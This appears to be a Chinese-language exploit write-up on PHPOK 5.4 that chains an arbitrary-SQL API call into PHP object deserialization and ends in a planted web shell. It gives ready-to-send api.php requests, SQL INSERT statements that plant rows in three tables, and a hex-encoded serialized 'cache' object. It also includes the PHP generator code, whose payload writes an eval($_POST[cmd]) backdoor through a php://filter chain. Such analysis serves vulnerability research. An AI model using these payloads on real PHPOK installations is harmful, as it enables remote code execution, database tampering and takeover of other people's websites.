PHPOK 5.4 Getshell
环境搭建
略~
漏洞原理
5.4修复了5.3中getshell的利用点
在call_control中的index_f()方法中添加了$data = $this->format($data);
对data进行过滤
这个format函数在刚开始请求到达的时候就会运行一次
最终返回不影响
但是index_f()中的format会将data中的键值对格式化将单引号双引号等进行实体编码
反序列化中有很多双引号 导致被过滤了
但是有新的链可以用
继续沿用5.3的call_control中的index_f方法在phpok_call中调用当前文件中任何_
开头的方法
_sql()
方法 会将实体化的部分重新转换回来,且$rs['sqlinfo']
可控
这个方法可以执行任意sql语句$this->db->get_all
是执行sql语句
测试一下api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql"}}
可以进入_sql中 然后构造一个sql语句测试一下
和5.3一样 data中的value会拼接到_sql的第一个参数里边api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"select%20*%20from%20qinggan_77"}}
执行成功
然后再找一个从数据库拿数据进行反序列化的
先从api里边找 content_control.php中
从fields表中查数据
我们只需要通过上边的任意执行sql语句 往fields中插入反序列化数据就可以
然后再往上看具体是从哪调用的
我们需要控制private function content_format($rs,&$data_info)
rs这个参数里的module_id
从这里看到 传入一个id 通过id获取content(对应的表是list)
获取到module_id
需要注意的是下边的几个if语句 跟踪代码之后 需要project的表中后边两个参数为1
project通过list表中的project_id关联
所以我们就可以一次性构造三个表的数据 直接从数据库里边找到符合的数据 复制出来一个sql语句 改一下id 注意id之前的关联
首先是list表
INSERT INTO phpok54.qinggan_list
(id, parent_id, cate_id, module_id, project_id, site_id, title, dateline, lastdate, sort, status, hidden, hits, tpl, seo_title, seo_keywords, seo_desc, tag, attr, replydate, user_id, identifier, integral, `style`)
VALUES(6666, 0, 68, 22, 666, 1, '学编程xx,PHP是最好的入门手段', 1543242302, 1543242302, 0, 1, 0, 10, '', '', 'php,php框架', '', 'php,php框架,公司', '', 0, 0, '', 0, '');
然后是project表
INSERT INTO phpok54.qinggan_project
(id, parent_id, site_id, module, cate, title, nick_title, taxis, status, tpl_index, tpl_list, tpl_content, is_identifier, ico, orderby, alias_title, alias_note, psize, uid, identifier, seo_title, seo_keywords, seo_desc, subtopics, is_search, is_tag, is_biz, is_userid, is_tpl_content, is_seo, currency_id, admin_note, hidden, post_status, comment_status, post_tpl, etpl_admin, etpl_user, etpl_comment_admin, etpl_comment_user, is_attr, tag, cate_multiple, biz_attr, freight, list_fields, `style`, is_front, is_api)
VALUES(666, 0, 1, 22, 7, '资讯中心', '', 12, 1, '', '', '', 1, 'images/ico/article.png', 'l.sort DESC,l.dateline DESC,l.id DESC', '新闻主题', '', 20, 0, 'news', '', '', '', 0, 1, 1, 0, 1, 0, 1, 0, '', 0, 0, 1, '', '', '', '', 'register_code', 0, '', 0, 0, 0, 'note,thumb', '', 1, 1);
然后是fields表 这个表用16进制将反序列化数据存进去
INSERT INTO phpok54.qinggan_fields
(id, ftype, title, identifier, field_type, note, form_type, form_style, format, content, taxis, ext, is_front, `search`, search_separator, form_class)
VALUES(6666, '22', '内容', 'content', 'longtext', '', 'editor', '', 'html_js', '', 255, 0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a343a222e2f6363223b733a31313a22002a006b65795f6c697374223b733a34313a22616161616150443977614841675a585a686243676b58314250553152625932316b58536b37507a343d223b733a393a22002a00666f6c646572223b733a36383a227068703a2f2f66696c7465722f77726974653d737472696e672e73747269705f746167737c636f6e766572742e6261736536342d6465636f64652f7265736f757263653d223b7d
, 0, 0, '', '');
反序列化数据还是用5.3中cache的链
<?php
class cache
{
protected $key_id = './cc';
protected $key_list = 'aaaaaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=';
protected $folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
}
//echo serialize(new cache());
$a=serialize(new cache());
echo bin2hex($a);
再结合上边的任意sql执行 分别执行三条sql语句
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_list
(id, parent_id, cate_id, module_id, project_id, site_id, title, dateline, lastdate, sort, status, hidden, hits, tpl, seo_title, seo_keywords, seo_desc, tag, attr, replydate, user_id, identifier, integral, `style`)
VALUES(6666, 0, 68, 22, 666, 1, '学编程xx,PHP是最好的入门手段', 1543242302, 1543242302, 0, 1, 0, 10, '', '', 'php,php框架', '', 'php,php框架,公司', '', 0, 0, '', 0, '');"}}
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_project
(id, parent_id, site_id, module, cate, title, nick_title, taxis, status, tpl_index, tpl_list, tpl_content, is_identifier, ico, orderby, alias_title, alias_note, psize, uid, identifier, seo_title, seo_keywords, seo_desc, subtopics, is_search, is_tag, is_biz, is_userid, is_tpl_content, is_seo, currency_id, admin_note, hidden, post_status, comment_status, post_tpl, etpl_admin, etpl_user, etpl_comment_admin, etpl_comment_user, is_attr, tag, cate_multiple, biz_attr, freight, list_fields, `style`, is_front, is_api)
VALUES(666, 0, 1, 22, 7, '资讯中心', '', 12, 1, '', '', '', 1, 'images/ico/article.png', 'l.sort DESC,l.dateline DESC,l.id DESC', '新闻主题', '', 20, 0, 'news', '', '', '', 0, 1, 1, 0, 1, 0, 1, 0, '', 0, 0, 1, '', '', '', '', 'register_code', 0, '', 0, 0, 0, 'note,thumb', '', 1, 1);
"}}
api.php?c=call&f=index&data={"m_picplayer":{"site":1,"type_id":"sql","sqlinfo":"INSERT INTO phpok54.qinggan_fields
(id, ftype, title, identifier, field_type, note, form_type, form_style, format, content, taxis, ext, is_front, `search`, search_separator, form_class)
VALUES(6666, '22', '内容', 'content', 'longtext', '', 'editor', '', 'html_js', '', 255, 0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a343a222e2f6363223b733a31313a22002a006b65795f6c697374223b733a34313a22616161616150443977614841675a585a686243676b58314250553152625932316b58536b37507a343d223b733a393a22002a00666f6c646572223b733a36383a227068703a2f2f66696c7465722f77726974653d737472696e672e73747269705f746167737c636f6e766572742e6261736536342d6465636f64652f7265736f757263653d223b7d
, 0, 0, '', '');"}}
又遇到一个问题
这个地方也有限制
最后查看表是这里
有一些数据 我们创建的id不在里边 所以没有权限 看到这里 其实也可以直接修改这个表的反序列化数据 最后反序列化成功
包括想继续用这条链 数据库执行修复一下这里的限制就可以了 不继续探讨了
我们也可以利用数据库中已经存在的数据 去达到反序列化刚刚我们插入的序列化数据
例如
这条数据
访问 api.php?c=content&f=index&id=1933
根据project_id查找到的数据 是符合下边的if条件的 然后进入content_format
又根据module_id查找fields中的ftype等于22的数据 以此给ext数据反序列化 这样就反序列化了刚刚插入进去的数据